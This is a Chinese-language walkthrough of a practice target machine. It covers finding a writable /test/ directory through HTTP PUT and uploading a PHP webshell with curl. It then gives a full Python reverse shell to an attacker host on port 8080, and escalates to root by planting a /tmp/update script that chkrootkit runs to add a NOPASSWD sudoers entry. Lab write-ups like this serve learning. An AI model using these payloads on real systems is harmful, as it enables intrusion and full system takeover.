1.信息提取
扫描端口:
目录扫描:
扫描到/test/目录,点击又回到主页
2.检查网页可用http请求
检查网页可用http请求
curl -v -X OPTIONS 192.168.56.5/test
允许put方法,尝试上传webshell
curl -v -X PUT -d '<?php echo system($_REQUEST['cmd']);?>' http://192.168.56.5/test/webshell.php
测试一下
反弹连接:
python反弹shell代码:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.3",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
这里遇到个坑:靶机应该配置了防火墙,当反弹连接设置为4444,1234等端口时,无法反弹连接成功。只有当设置为其它应用常用的端口,比如443,8080才可以。
3.Linux Cron Job 提权
定时任务(cron job)可以用来设置周期执行的命令,提权的原理为计划任务以root权限运行,计划任务中的脚本其他用户有写入的权限,或者脚本所属组为其他用户,则可以进行计划任务提权。
查看/etc/cron.daily文件夹,查看定时任务。
chkrootkit存在提权漏洞。这个漏洞是在/tmp文件夹创建update文件,chkrootkit程序就会定时去以root身份执行它。
创建update文件,把www-data用户添加到sudo权限。
echo 'echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
< ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
将文件加执行权限,然后等待一会儿,输入sudo su命令,成功提权到root
最后来看一下,是什么设置导致反弹连接多数端口不可用。用iptables -L命令
靶机定制了策略,值允许上图中的那几个端口开放,因此导致我浪费了大量时间检查靶机的网络问题。
4.总结
这个靶机我还是接触到了全新的东西:
- curl命令检查http请求方法,上传reverse shell;
- 定时任务(corn job)提权,有一个任务文件夹:/etc/cron.daily
- 给当前用户添加sudo权限来提权
- 注意靶机是否设置防火墙只允许个别端口进行数据传输。